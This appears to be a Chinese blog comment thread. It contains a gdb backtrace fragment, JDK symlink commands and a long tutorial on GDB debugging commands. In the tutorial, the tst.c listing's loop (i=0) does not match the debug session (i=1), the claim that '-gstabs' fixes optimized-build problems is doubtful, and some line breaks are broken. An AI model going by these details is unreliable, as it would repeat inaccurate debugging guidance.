710 pCreature->act(currentTime);
(gdb) up
#5 0x0808e3b1 in Zone::heartbeat (this=0x16dd80a8) at Zone.cpp:8464
8464 m_pMonsterManager->processCreatures(); // process all monsters
(gdb) up
#6 0x083b6fb2 in ZoneGroup::heartbeat (this=0x156e0ee8) at ZoneGroup.cpp:202
202 pZone->heartbeat();
(gdb)
re: 安装JAVA 聂文龙 2008-07-27 15:22
[root@localhost bin]# cd /usr/bin
[root@localhost bin]# ln -sf /usr/java/jdk1.6.0_10/bin/java java
[root@localhost bin]# ln -sf /usr/java/jdk1.6.0_10/bin/javac javac
[root@localhost bin]# java -version
java version "1.6.0_10-beta"
Java(TM) SE Runtime Environment (build 1.6.0_10-beta-b25)
Java HotSpot(TM) Client VM (build 11.0-b12, mixed mode, sharing)
[root@localhost bin]#
re: 程序调试的利器GDB 聂文龙 2008-07-27 04:03

GDB 概述
————

GDB GNU 开源组织发布的一个强大的 UNIX 下的程序调试工具。或许,各位比较喜欢那种图形界面方式的,像 VC BCB IDE 的调试,但如果你是在 UNIX 平台下做软件,你会发现 GDB 这个调试工具有比 VC BCB 的图形化调试器更强大的功能。所谓寸有所长,尺有所短就是这个道理。

一般来说, GDB 主要帮忙你完成下面四个方面的功能:

    1 、启动你的程序,可以按照你的自定义的要求随心所欲的运行程序。
    2
、可让被调试的程序在你所指定的调置的断点处停住。(断点可以是条件表达式)
    3
、当程序被停住时,可以检查此时你的程序中所发生的事。
    4
、动态的改变你程序的执行环境。

从上面看来, GDB 和一般的调试工具没有什么两样,基本上也是完成这些功能,不过在细节上,你会发现 GDB 这个调试工具的强大,大家可能比较习惯了图形化的调试工具,但有时候,命令行的调试工具却有着图形化工具所不能完成的功能。让我们一一看来。


一个调试示例
——————

源程序: tst.c

     1 #include <stdio.h>
     2
     3 int func(int n)
     4 {
     5         int sum=0,i;
     6         for(i=0; i<n; i++)
     7         {
     8                 sum+=i;
     9         }
    10         return sum;
    11 }
    12
    13
    14 main()
    15 {
    16         int i;
    17         long result = 0;
    18         for(i=1; i<=100; i++)
    19         {
    20                 result += i;
    21         }
    22
    23        printf("result[1-100] = %d \n", result );
    24        printf("result[1-250] = %d \n", func(250) );
    25 }

编译生成执行文件:( Linux 下)
    hchen/test> cc -g tst.c -o tst

使用 GDB 调试:

hchen/test> gdb tst  <---------- 启动 GDB
GNU gdb 5.1.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-suse-linux"...
(gdb) l     <-------------------- l
命令相当于 list ,从第一行开始例出原码。
1        #include <stdio.h>
2
3        int func(int n)
4        {
5                int sum=0,i;
6                for(i=0; i<n; i++)
7                {
8                        sum+=i;
9                }
10               return sum;
(gdb)       <--------------------
直接回车表示,重复上一次命令
11       }
12
13
14       main()
15       {
16               int i;
17               long result = 0;
18               for(i=1; i<=100; i++)
19               {
20                       result += i;   
(gdb) break 16    <--------------------
设置断点,在源程序第 16 行处。
Breakpoint 1 at 0x8048496: file tst.c, line 16.
(gdb) break func  <--------------------
设置断点,在函数 func() 入口处。
Breakpoint 2 at 0x8048456: file tst.c, line 5.
(gdb) info break  <--------------------
查看断点信息。
Num Type           Disp Enb Address    What
1   breakpoint     keep y   0x08048496 in main at tst.c:16
2   breakpoint     keep y   0x08048456 in func at tst.c:5
(gdb) r           <---------------------
运行程序, run 命令简写
Starting program: /home/hchen/test/tst

Breakpoint 1, main () at tst.c:17    <---------- 在断点处停住。
17               long result = 0;
(gdb) n          <---------------------
单条语句执行, next 命令简写。
18               for(i=1; i<=100; i++)
(gdb) n
20                       result += i;
(gdb) n
18               for(i=1; i<=100; i++)
(gdb) n
20                       result += i;
(gdb) c          <---------------------
继续运行程序, continue 命令简写。
Continuing.
result[1-100] = 5050       <----------
程序输出。

Breakpoint 2, func (n=250) at tst.c:5
5                int sum=0,i;
(gdb) n
6                for(i=1; i<=n; i++)
(gdb) p i        <---------------------
打印变量 i 的值, print 命令简写。
$1 = 134513808
(gdb) n
8                        sum+=i;
(gdb) n
6                for(i=1; i<=n; i++)
(gdb) p sum
$2 = 1
(gdb) n
8                        sum+=i;
(gdb) p i
$3 = 2
(gdb) n
6                for(i=1; i<=n; i++)
(gdb) p sum
$4 = 3
(gdb) bt        <---------------------
查看函数堆栈。
#0  func (n=250) at tst.c:5
#1  0x080484e4 in main () at tst.c:24
#2  0x400409ed in __libc_start_main () from /lib/libc.so.6
(gdb) finish    <---------------------
退出函数。
Run till exit from #0  func (n=250) at tst.c:5
0x080484e4 in main () at tst.c:24
24              printf("result[1-250] = %d \n", func(250) );
Value returned is $6 = 31375
(gdb) c     <---------------------
继续运行。
Continuing.
result[1-250] = 31375    <----------
程序输出。

Program exited with code 027. <-------- 程序退出,调试结束。
(gdb) q     <---------------------
退出 gdb
hchen/test>

好了,有了以上的感性认识,还是让我们来系统地认识一下 gdb 吧。

 


使用 GDB
————

一般来说 GDB 主要调试的是 C/C++ 的程序。要调试 C/C++ 的程序,首先在编译时,我们必须要把调试信息加到可执行文件中。使用编译器( cc/gcc/g++ )的 -g 参数可以做到这一点。如:

    > cc -g hello.c -o hello
    > g++ -g hello.cpp -o hello

如果没有 -g ,你将看不见程序的函数名、变量名,所代替的全是运行时的内存地址。当你用 -g 把调试信息加入之后,并成功编译目标代码以后,让我们来看看如何用 gdb 来调试他。

启动 GDB 的方法有以下几种:

    1 gdb <program>
       program
也就是你的执行文件,一般在当然目录下。

    2 gdb <program> core
      
gdb 同时调试一个运行程序和 core 文件, core 是程序非法执行后 core dump 后产生的文件。

    3 gdb <program> <PID>
      
如果你的程序是一个服务程序,那么你可以指定这个服务程序运行时的进程 ID gdb 会自动 attach 上去,并调试他。 program 应该在 PATH 环境变量中搜索得到。

 

GDB 启动时,可以加上一些 GDB 的启动开关,详细的开关可以用 gdb -help 查看。我在下面只例举一些比较常用的参数:

    -symbols <file>
    -s <file>
   
从指定文件中读取符号表。

    -se file
   
从指定文件中读取符号表信息,并把他用在可执行文件中。

    -core <file>
    -c <file>
   
调试时 core dump core 文件。

    -directory <directory>
    -d <directory>
   
加入一个源文件的搜索路径。默认搜索路径是环境变量中 PATH 所定义的路径。

GDB 的命令概貌
———————

启动 gdb 后,就你被带入 gdb 的调试环境中,就可以使用 gdb 的命令开始调试程序了, gdb 的命令可以使用 help 命令来查看,如下所示:

    /home/hchen> gdb
    GNU gdb 5.1.1
    Copyright 2002 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" for details.
    This GDB was configured as "i386-suse-linux".
    (gdb) help
    List of classes of commands:

    aliases -- Aliases of other commands
    breakpoints -- Making program stop at certain points
    data -- Examining data
    files -- Specifying and examining files
    internals -- Maintenance commands
    obscure -- Obscure features
    running -- Running the program
    stack -- Examining the stack
    status -- Status inquiries
    support -- Support facilities
    tracepoints -- Tracing of program execution without stopping the program
    user-defined -- User-defined commands

    Type "help" followed by a class name for a list of commands in that class.
    Type "help" followed by command name for full documentation.
    Command name abbreviations are allowed if unambiguous.
    (gdb)

gdb 的命令很多, gdb 把之分成许多个种类。 help 命令只是例出 gdb 的命令种类,如果要看种类中的命令,可以使用 help <class> 命令,如: help breakpoints ,查看设置断点的所有命令。也可以直接 help <command> 来查看命令的帮助。


gdb
中,输入命令时,可以不用打全命令,只用打命令的前几个字符就可以了,当然,命令的前几个字符应该要标志着一个唯一的命令,在 Linux 下,你可以敲击两次 TAB 键来补齐命令的全称,如果有重复的,那么 gdb 会把其例出来。
   
   
示例一:在进入函数 func 时,设置一个断点。可以敲入 break func ,或是直接就是 b func
    (gdb) b func
    Breakpoint 1 at 0x8048458: file hello.c, line 10.
 
   
示例二:敲入 b 按两次 TAB 键,你会看到所有 b 打头的命令:
    (gdb) b
    backtrace  break      bt
    (gdb)

    示例三:只记得函数的前缀,可以这样:
    (gdb) b make_ <
TAB >
   
(再按下一次 TAB 键,你会看到 :
    make_a_section_from_file     make_environ
    make_abs_section             make_function_type
    make_blockvector             make_pointer_type
    make_cleanup                 make_reference_type
    make_command                 make_symbol_completion_list
    (gdb) b make_
    GDB
把所有 make 开头的函数全部例出来给你查看。

    示例四:调试 C++ 的程序时,有可以函数名一样。如:
    (gdb) b 'bubble( M-?
    bubble(double,double)    bubble(int,int)
    (gdb) b 'bubble(
   
你可以查看到 C++ 中的所有的重载函数及参数。(注: M-? 按两次 TAB 是一个意思)

要退出 gdb 时,只用发 quit 或命令简称 q 就行了。

 

GDB 中运行 UNIX shell 程序
————————————

gdb 环境中,你可以执行 UNIX shell 的命令,使用 gdb shell 命令来完成:

    shell <command string>
   
调用 UNIX shell 来执行 <command string> ,环境变量 SHELL 中定义的 UNIX shell 将会被用来执行 <command string> ,如果 SHELL 没有定义,那就使用 UNIX 的标准 shell /bin/sh 。(在 Windows 中使用 Command.com cmd.exe

还有一个 gdb 命令是 make
    make <make-args>
   
可以在 gdb 中执行 make 命令来重新 build 自己的程序。这个命令等价于 “ shell make <make-args> ”

GDB 中运行程序
————————

当以 gdb <program> 方式启动 gdb 后, gdb 会在 PATH 路径和当前目录中搜索 <program> 的源文件。如要确认 gdb 是否读到源文件,可使用 l list 命令,看看 gdb 是否能列出源代码。

gdb 中,运行程序使用 r 或是 run 命令。程序的运行,你有可能需要设置下面四方面的事。

1 、程序运行参数。
    set args
可指定运行时参数。(如: set args 10 20 30 40 50
    show args
命令可以查看设置好的运行参数。

2 、运行环境。
    path <dir>
可设定程序的运行路径。
    show paths
查看程序的运行路径。
    set environment varname [=value]
设置环境变量。如: set env USER=hchen
    show environment [varname]
查看环境变量。

3 、工作目录。
    cd <dir>
相当于 shell cd 命令。
    pwd
显示当前的所在目录。

4 、程序的输入输出。
    info terminal
显示你程序用到的终端的模式。
   
使用重定向控制程序输出。如: run > outfile
    tty
命令可以指写输入输出的终端设备。如: tty /dev/ttyb


调试已运行的程序
————————

两种方法:
1
、在 UNIX 下用 ps 查看正在运行的程序的 PID (进程 ID ),然后用 gdb <program> PID 格式挂接正在运行的程序。
2
、先用 gdb <program> 关联上源代码,并进行 gdb ,在 gdb 中用 attach 命令来挂接进程的 PID 。并用 detach 来取消挂接的进程。

 

暂停 / 恢复程序运行
—————————

调试程序中,暂停程序运行是必须的, GDB 可以方便地暂停程序的运行。你可以设置程序的在哪行停住,在什么条件下停住,在收到什么信号时停往等等。以便于你查看运行时的变量,以及运行时的流程。

当进程被 gdb 停住时,你可以使用 info program 来查看程序的是否在运行,进程号,被暂停的原因。

gdb 中,我们可以有以下几种暂停方式:断点( BreakPoint )、观察点( WatchPoint )、捕捉点( CatchPoint )、信号( Signals )、线程停止( Thread Stops )。如果要恢复程序运行,可以使用 c 或是 continue 命令。


一、设置断点( BreakPoint
   
   
我们用 break 命令来设置断点。正面有几点设置断点的方法:
   
    break <function>
       
在进入指定函数时停住。 C++ 中可以使用 class::function function(type,type) 格式来指定函数名。

    break <linenum>
       
在指定行号停住。

    break +offset
    break -offset
       
在当前行号的前面或后面的 offset 行停住。 offiset 为自然数。

    break filename:linenum
       
在源文件 filename linenum 行处停住。

    break filename:function
       
在源文件 filename function 函数的入口处停住。

    break *address
       
在程序运行的内存地址处停住。

    break
        break
命令没有参数时,表示在下一条指令处停住。

    break ... if <condition>
        ...
可以是上述的参数, condition 表示条件,在条件成立时停住。比如在循环境体中,可以设置 break if i=100 ,表示当 i 100 时停住程序。

    查看断点时,可使用 info 命令,如下所示:(注: n 表示断点号)
    info breakpoints [n]
    info break [n]
   

二、设置观察点( WatchPoint
   
   
观察点一般来观察某个表达式(变量也是一种表达式)的值是否有变化了,如果有变化,马上停住程序。我们有下面的几种方法来设置观察点:
   
    watch <expr>
       
为表达式(变量) expr 设置一个观察点。一量表达式值有变化时,马上停住程序。
       
    rwatch <expr>
       
当表达式(变量) expr 被读时,停住程序。
       
    awatch <expr>
       
当表达式(变量)的值被读或被写时,停住程序。
   
    info watchpoints
       
列出当前所设置了的所有观察点。


三、设置捕捉点( CatchPoint

    你可设置捕捉点来补捉程序运行时的一些事件。如:载入共享库(动态链接库)或是 C++ 的异常。设置捕捉点的格式为:
   
    catch <event>
       
event 发生时,停住程序。 event 可以是下面的内容:
        1
throw 一个 C++ 抛出的异常。( throw 为关键字)
        2
catch 一个 C++ 捕捉到的异常。( catch 为关键字)
        3
exec 调用系统调用 exec 时。( exec 为关键字,目前此功能只在 HP-UX 下有用)
        4
fork 调用系统调用 fork 时。( fork 为关键字,目前此功能只在 HP-UX 下有用)
        5
vfork 调用系统调用 vfork 时。( vfork 为关键字,目前此功能只在 HP-UX 下有用)
        6
load load <libname> 载入共享库(动态链接库)时。( load 为关键字,目前此功能只在 HP-UX 下有用)
        7
unload unload <libname> 卸载共享库(动态链接库)时。( unload 为关键字,目前此功能只在 HP-UX 下有用)

    tcatch <event>
       
只设置一次捕捉点,当程序停住以后,应点被自动删除。

四、维护停止点

上面说了如何设置程序的停止点, GDB 中的停止点也就是上述的三类。在 GDB 中,如果你觉得已定义好的停止点没有用了,你可以使用 delete clear disable enable 这几个命令来进行维护。

    clear
       
清除所有的已定义的停止点。

    clear <function>
    clear <filename:function>
       
清除所有设置在函数上的停止点。

    clear <linenum>
    clear <filename:linenum>
       
清除所有设置在指定行上的停止点。

    delete [breakpoints] [range...]
       
删除指定的断点, breakpoints 为断点号。如果不指定断点号,则表示删除所有的断点。 range 表示断点号的范围(如: 3-7 )。其简写命令为 d


比删除更好的一种方法是 disable 停止点, disable 了的停止点, GDB 不会删除,当你还需要时, enable 即可,就好像回收站一样。

    disable [breakpoints] [range...]
        disable
所指定的停止点, breakpoints 为停止点号。如果什么都不指定,表示 disable 所有的停止点。简写命令是 dis.

    enable [breakpoints] [range...]
        enable
所指定的停止点, breakpoints 为停止点号。

    enable [breakpoints] once range...
        enable
所指定的停止点一次,当程序停止后,该停止点马上被 GDB 自动 disable

    enable [breakpoints] delete range...
        enable
所指定的停止点一次,当程序停止后,该停止点马上被 GDB 自动删除。

 

五、停止条件维护

前面在说到设置断点时,我们提到过可以设置一个条件,当条件成立时,程序自动停止,这是一个非常强大的功能,这里,我想专门说说这个条件的相关维护命令。一般来说,为断点设置一个条件,我们使用 if 关键词,后面跟其断点条件。并且,条件设置好后,我们可以用 condition 命令来修改断点的条件。(只有 break watch 命令支持 if catch 目前暂不支持 if

    condition <bnum> <expression>
       
修改断点号为 bnum 的停止条件为 expression

    condition <bnum>
       
清除断点号为 bnum 的停止条件。


还有一个比较特殊的维护命令 ignore ,你可以指定程序运行时,忽略停止条件几次。

    ignore <bnum> <count>
       
表示忽略断点号为 bnum 的停止条件 count 次。

 

六、为停止点设定运行命令

我们可以使用 GDB 提供的 command 命令来设置停止点的运行命令。也就是说,当运行的程序在被停止住时,我们可以让其自动运行一些别的命令,这很有利行自动化调试。对基于 GDB 的自动化调试是一个强大的支持。


    commands [bnum]
    ... command-list ...
    end

    为断点号 bnum 指写一个命令列表。当程序被该断点停住时, gdb 会依次运行命令列表中的命令。

    例如:

        break foo if x>0
        commands
        printf "x is %d\n",x
        continue
        end
       
断点设置在函数 foo 中,断点条件是 x>0 ,如果程序被断住后,也就是,一旦 x 的值在 foo 函数中大于 0 GDB 会自动打印出 x 的值,并继续运行程序。

如果你要清除断点上的命令序列,那么只要简单的执行一下 commands 命令,并直接在打个 end 就行了。


七、断点菜单

C++ 中,可能会重复出现同一个名字的函数若干次(函数重载),在这种情况下, break <function> 不能告诉 GDB 要停在哪个函数的入口。当然,你可以使用 break <function(type)> 也就是把函数的参数类型告诉 GDB ,以指定一个函数。否则的话, GDB 会给你列出一个断点菜单供你选择你所需要的断点。你只要输入你菜单列表中的编号就可以了。如:

    (gdb) b String::after
    [0] cancel
    [1] all
    [2] file:String.cc; line number:867
    [3] file:String.cc; line number:860
    [4] file:String.cc; line number:875
    [5] file:String.cc; line number:853
    [6] file:String.cc; line number:846
    [7] file:String.cc; line number:735
    > 2 4 6
    Breakpoint 1 at 0xb26c: file String.cc, line 867.
    Breakpoint 2 at 0xb344: file String.cc, line 875.
    Breakpoint 3 at 0xafcc: file String.cc, line 846.
    Multiple breakpoints were set.
    Use the "delete" command to delete unwanted
     breakpoints.
    (gdb)

可见, GDB 列出了所有 after 的重载函数,你可以选一下列表编号就行了。 0 表示放弃设置断点, 1 表示所有函数都设置断点。


八、恢复程序运行和单步调试

当程序被停住了,你可以用 continue 命令恢复程序的运行直到程序结束,或下一个断点到来。也可以使用 step next 命令单步跟踪程序。

    continue [ignore-count]
    c [ignore-count]
    fg [ignore-count]
       
恢复程序运行,直到程序结束,或是下一个断点到来。 ignore-count 表示忽略其后的断点次数。 continue c fg 三个命令都是一样的意思。


    step <count>
       
单步跟踪,如果有函数调用,他会进入该函数。进入函数的前提是,此函数被编译有 debug 信息。很像 VC 等工具中的 step in 。后面可以加 count 也可以不加,不加表示一条条地执行,加表示执行后面的 count 条指令,然后再停住。

    next <count>
       
同样单步跟踪,如果有函数调用,他不会进入该函数。很像 VC 等工具中的 step over 。后面可以加 count 也可以不加,不加表示一条条地执行,加表示执行后面的 count 条指令,然后再停住。

    set step-mode
    set step-mode on
       
打开 step-mode 模式,于是,在进行单步跟踪时,程序不会因为没有 debug 信息而不停住。这个参数有很利于查看机器码。

    set step-mod off
       
关闭 step-mode 模式。

    finish
       
运行程序,直到当前函数完成返回。并打印函数返回时的堆栈地址和返回值及参数值等信息。

    until u
       
当你厌倦了在一个循环体内单步跟踪时,这个命令可以运行程序直到退出循环体。

    stepi si
    nexti
ni
       
单步跟踪一条机器指令!一条程序代码有可能由数条机器指令完成, stepi nexti 可以单步执行机器指令。与之一样有相同功能的命令是 “ display/i $pc ” ,当运行完这个命令后,单步跟踪会在打出程序代码的同时打出机器指令(也就是汇编代码)


九、信号( Signals

信号是一种软中断,是一种处理异步事件的方法。一般来说,操作系统都支持许多信号。尤其是 UNIX ,比较重要应用程序一般都会处理信号。 UNIX 定义了许多信号,比如 SIGINT 表示中断字符信号,也就是 Ctrl+C 的信号, SIGBUS 表示硬件故障的信号; SIGCHLD 表示子进程状态改变信号; SIGKILL 表示终止程序运行的信号,等等。信号量编程是 UNIX 下非常重要的一种技术

GDB 有能力在你调试程序的时候处理任何一种信号,你可以告诉 GDB 需要处理哪一种信号。你可以要求 GDB 收到你所指定的信号时,马上停住正在运行的程序,以供你进行调试。你可以用 GDB handle 命令来完成这一功能。

    handle <signal> <keywords...>
       
GDB 中定义一个信号处理。信号 <signal> 可以以 SIG 开头或不以 SIG 开头,可以用定义一个要处理信号的范围(如: SIGIO-SIGKILL ,表示处理从 SIGIO 信号到 SIGKILL 的信号,其中包括 SIGIO SIGIOT SIGKILL 三个信号),也可以使用关键字 all 来标明要处理所有的信号。一旦被调试的程序接收到信号,运行程序马上会被 GDB 停住,以供调试。其 <keywords> 可以是以下几种关键字的一个或多个。

        nostop
           
当被调试的程序收到信号时, GDB 不会停住程序的运行,但会打出消息告诉你收到这种信号。
        stop
           
当被调试的程序收到信号时, GDB 会停住你的程序。
        print
           
当被调试的程序收到信号时, GDB 会显示出一条信息。
        noprint
           
当被调试的程序收到信号时, GDB 不会告诉你收到信号的信息。
        pass
        noignore
           
当被调试的程序收到信号时, GDB 不处理信号。这表示, GDB 会把这个信号交给被调试程序会处理。
        nopass
        ignore
           
当被调试的程序收到信号时, GDB 不会让被调试程序来处理这个信号。


    info signals
    info handle
       
查看有哪些信号在被 GDB 检测中。


十、线程( Thread Stops

如果你程序是多线程的话,你可以定义你的断点是否在所有的线程上,或是在某个特定的线程。 GDB 很容易帮你完成这一工作。

    break <linespec> thread <threadno>
    break <linespec> thread <threadno> if ...
        linespec
指定了断点设置在的源程序的行号。 threadno 指定了线程的 ID ,注意,这个 ID GDB 分配的,你可以通过 “ info threads ” 命令来查看正在运行程序中的线程信息。如果你不指定 thread <threadno> 则表示你的断点设在所有线程上面。你还可以为某线程指定断点条件。如:
   
        (gdb) break frik.c:13 thread 28 if bartab > lim

    当你的程序被 GDB 停住时,所有的运行线程都会被停住。这方便你你查看运行程序的总体情况。而在你恢复程序运行时,所有的线程也会被恢复运行。那怕是主进程在被单步调试时。

查看栈信息
—————

当程序被停住了,你需要做的第一件事就是查看程序是在哪里停住的。当你的程序调用了一个函数,函数的地址,函数参数,函数内的局部变量都会被压入 Stack )中。你可以用 GDB 命令来查看当前的栈中的信息。

下面是一些查看函数调用栈信息的 GDB 命令:

    backtrace
    bt
       
打印当前的函数调用栈的所有信息。如:
       
        (gdb) bt
        #0  func (n=250) at tst.c:6
        #1  0x08048524 in main (argc=1, argv=0xbffff674) at tst.c:30
        #2  0x400409ed in __libc_start_main () from /lib/libc.so.6
       
       
从上可以看出函数的调用栈信息: __libc_start_main --> main() --> func()
       
   
    backtrace <n>
    bt <n>
        n
是一个正整数,表示只打印栈顶上 n 层的栈信息。

    backtrace <-n>
    bt <-n>
        -n
表一个负整数,表示只打印栈底下 n 层的栈信息。
       
如果你要查看某一层的信息,你需要在切换当前的栈,一般来说,程序停止时,最顶层的栈就是当前栈,如果你要查看栈下面层的详细信息,首先要做的是切换当前栈。

    frame <n>
    f <n>
        n
是一个从 0 开始的整数,是栈中的层编号。比如: frame 0 ,表示栈顶, frame 1 ,表示栈的第二层。
   
    up <n>
       
表示向栈的上面移动 n 层,可以不打 n ,表示向上移动一层。
       
    down <n>
       
表示向栈的下面移动 n 层,可以不打 n ,表示向下移动一层。
       

    上面的命令,都会打印出移动到的栈层的信息。如果你不想让其打出信息。你可以使用这三个命令:
   
            select-frame <n>
对应于 frame 命令。
            up-silently <n>
对应于 up 命令。
            down-silently <n>
对应于 down 命令。

   
查看当前栈层的信息,你可以用以下 GDB 命令:

    frame f
       
会打印出这些信息:栈的层编号,当前的函数名,函数参数值,函数所在文件及行号,函数执行到的语句。
   
    info frame
    info f
       
这个命令会打印出更为详细的当前栈层的信息,只不过,大多数都是运行时的内内地址。比如:函数地址,调用函数的地址,被调用函数的地址,目前的函数是由什么样的程序语言写成的、函数参数地址及值、局部变量的地址等等。如:
            (gdb) info f
            Stack level 0, frame at 0xbffff5d4:
             eip = 0x804845d in func (tst.c:6); saved eip 0x8048524
             called by frame at 0xbffff60c
             source language c.
             Arglist at 0xbffff5d4, args: n=250
             Locals at 0xbffff5d4, Previous frame's sp is 0x0
             Saved registers:
              ebp at 0xbffff5d4, eip at 0xbffff5d8
             
     info args
       
打印出当前函数的参数名及其值。
    
     info locals
       
打印出当前函数中所有局部变量及其值。
       
     info catch
       
打印出当前的函数中的异常处理信息。

查看源程序
—————

一、显示源代码

    GDB 可以打印出所调试程序的源代码,当然,在程序编译时一定要加上 -g 的参数,把源程序信息编译到执行文件中。不然就看不到源程序了。当程序停下来以后, GDB 会报告程序停在了那个文件的第几行上。你可以用 list 命令来打印程序的源代码。还是来看一看查看源代码的 GDB 命令吧。
   
    list <linenum>
       
显示程序第 linenum 行的周围的源程序。
   
    list <function>
       
显示函数名为 function 的函数的源程序。
       
    list
       
显示当前行后面的源程序。
   
    list -
       
显示当前行前面的源程序。

一般是打印当前行的上 5 行和下 5 行,如果显示函数是是上 2 行下 8 行,默认是 10 行,当然,你也可以定制显示的范围,使用下面命令可以设置一次显示源程序的行数。

    set listsize <count>
       
设置一次显示源代码的行数。
       
    show listsize
       
查看当前 listsize 的设置。
       

list 命令还有下面的用法:

    list <first>, <last>
       
显示从 first 行到 last 行之间的源代码。
   
    list , <last>
       
显示从当前行到 last 行之间的源代码。
       
    list +
       
往后显示源代码。
       

一般来说在 list 后面可以跟以下这们的参数:

    <linenum>   行号。
    <+offset>  
当前行号的正偏移量。
    <-offset>  
当前行号的负偏移量。
    <filename:linenum> 
哪个文件的哪一行。
    <function> 
函数名。
    <filename:function>
哪个文件中的哪个函数。
    <*address> 
程序运行时的语句在内存中的地址。
   

二、搜索源代码

不仅如此, GDB 还提供了源代码搜索的命令:

    forward-search <regexp>
    search <regexp>
       
向前面搜索。

    reverse-search <regexp>
       
全部搜索。
       
其中, <regexp> 就是正则表达式,也主一个字符串的匹配模式,关于正则表达式,我就不在这里讲了,还请各位查看相关资料。


三、指定源文件的路径

某些时候,用 -g 编译过后的执行程序中只是包括了源文件的名字,没有路径名。 GDB 提供了可以让你指定源文件的路径的命令,以便 GDB 进行搜索。

    directory <dirname ... >
    dir <dirname ... >
       
加一个源文件路径到当前路径的前面。如果你要指定多个路径, UNIX 下你可以使用 “ : ” Windows 下你可以使用 “ ; ”
    directory
       
清除所有的自定义的源文件搜索路径信息。
   
    show directories
       
显示定义了的源文件搜索路径。
       

四、源代码的内存

你可以使用 info line 命令来查看源代码在内存中的地址。 info line 后面可以跟行号函数名文件名 : 行号文件名 : 函数名,这个命令会打印出所指定的源码在运行时的内存地址,如:

        (gdb) info line tst.c:func
        Line 5 of "tst.c" starts at address 0x8048456 <func+6> and ends at 0x804845d <func+13>.

还有一个命令( disassemble )你可以查看源程序的当前执行时的机器码,这个命令会把目前内存中的指令 dump 出来。如下面的示例表示查看函数 func 的汇编代码。

        (gdb) disassemble func
        Dump of assembler code for function func:
        0x8048450 <func>:       push   %ebp
        0x8048451 <func+1>:     mov    %esp,%ebp
        0x8048453 <func+3>:     sub    $0x18,%esp
        0x8048456 <func+6>:     movl   $0x0,0xfffffffc(%ebp)
        0x804845d <func+13>:    movl   $0x1,0xfffffff8(%ebp)
        0x8048464 <func+20>:    mov    0xfffffff8(%ebp),%eax
        0x8048467 <func+23>:    cmp    0x8(%ebp),%eax
        0x804846a <func+26>:    jle    0x8048470 <func+32>
        0x804846c <func+28>:    jmp    0x8048480 <func+48>
        0x804846e <func+30>:    mov    %esi,%esi
        0x8048470 <func+32>:    mov    0xfffffff8(%ebp),%eax
        0x8048473 <func+35>:    add    %eax,0xfffffffc(%ebp)
        0x8048476 <func+38>:    incl   0xfffffff8(%ebp)
        0x8048479 <func+41>:    jmp    0x8048464 <func+20>
        0x804847b <func+43>:    nop
        0x804847c <func+44>:    lea    0x0(%esi,1),%esi
        0x8048480 <func+48>:    mov    0xfffffffc(%ebp),%edx
        0x8048483 <func+51>:    mov    %edx,%eax
        0x8048485 <func+53>:    jmp    0x8048487 <func+55>
        0x8048487 <func+55>:    mov    %ebp,%esp
        0x8048489 <func+57>:    pop    %ebp
        0x804848a <func+58>:    ret
        End of assembler dump.

 

查看运行时数据
———————

   
   
在你调试程序时,当程序被停住时,你可以使用 print 命令(简写命令为 p ),或是同义命令 inspect 来查看当前程序的运行数据。 print 命令的格式是:
   
    print <expr>
    print /<f> <expr>
        <expr>
是表达式,是你所调试的程序的语言的表达式( GDB 可以调试多种编程语言), <f> 是输出的格式,比如,如果要把表达式按 16 进制的格式输出,那么就是 /x
       
   
一、表达式

    print 和许多 GDB 的命令一样,可以接受一个表达式, GDB 会根据当前的程序运行的数据来计算这个表达式,既然是表达式,那么就可以是当前程序运行中的 const 常量、变量、函数等内容。可惜的是 GDB 不能使用你在程序中所定义的宏。
   
   
表达式的语法应该是当前所调试的语言的语法,由于 C/C++ 是一种大众型的语言,所以,本文中的例子都是关于 C/C++ 的。(而关于用 GDB 调试其它语言的章节,我将在后面介绍)
   
   
在表达式中,有几种 GDB 所支持的操作符,它们可以用在任何一种语言中。
   
    @
       
是一个和数组有关的操作符,在后面会有更详细的说明。
       
    ::
       
指定一个在文件或是一个函数中的变量。
       
    {<type>} <addr>
       
表示一个指向内存地址 <addr> 的类型为 type 的一个对象。
       
       
二、程序变量

    GDB 中,你可以随时查看以下三种变量的值:
        1
、全局变量(所有文件可见的)
        2
、静态全局变量(当前文件可见的)
        3
、局部变量(当前 Scope 可见的)
       
   
如果你的局部变量和全局变量发生冲突(也就是重名),一般情况下是局部变量会隐藏全局变量,也就是说,如果一个全局变量和一个函数中的局部变量同名时,如果当前停止点在函数中,用 print 显示出的变量的值会是函数中的局部变量的值。如果此时你想查看全局变量的值时,你可以使用 “ :: ” 操作符:
   
        file::variable
    function::variable
   
可以通过这种形式指定你所想查看的变量,是哪个文件中的或是哪个函数中的。例如,查看文件 f2.c 中的全局变量 x 的值:
   
    gdb) p 'f2.c'::x
   
   
当然, “ :: ” 操作符会和 C++ 中的发生冲突, GDB 能自动识别 “ :: ” 是否 C++ 的操作符,所以你不必担心在调试 C++ 程序时会出现异常。
   
   
另外,需要注意的是,如果你的程序编译时开启了优化选项,那么在用 GDB 调试被优化过的程序时,可能会发生某些变量不能访问,或是取值错误码的情况。这个是很正常的,因为优化程序会删改你的程序,整理你程序的语句顺序,剔除一些无意义的变量等,所以在 GDB 调试这种程序时,运行时的指令和你所编写指令就有不一样,也就会出现你所想象不到的结果。对付这种情况时,需要在编译程序时关闭编译优化。一般来说,几乎所有的编译器都支持编译优化的开关,例如, GNU C/C++ 编译器 GCC ,你可以使用 “ -gstabs ” 选项来解决这个问题。关于编译器的参数,还请查看编译器的使用说明文档。
   

三、数组

    有时候,你需要查看一段连续的内存空间的值。比如数组的一段,或是动态分配的数据的大小。你可以使用 GDB “ @ ” 操作符, “ @ ” 的左边是第一个内存的地址的值, “ @ ” 的右边则你你想查看内存的长度。例如,你的程序中有这样的语句:
    
        int *array = (int *) malloc (len * sizeof (int));
       
   
于是,在 GDB 调试过程中,你可以以如下命令显示出这个动态数组的取值:

        p *array@len

    @ 的左边是数组的首地址的值,也就是变量 array 所指向的内容,右边则是数据的长度,其保存在变量 len 中,其输出结果,大约是下面这个样子的:
   
        (gdb) p *array@len
        $1 = {2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40}

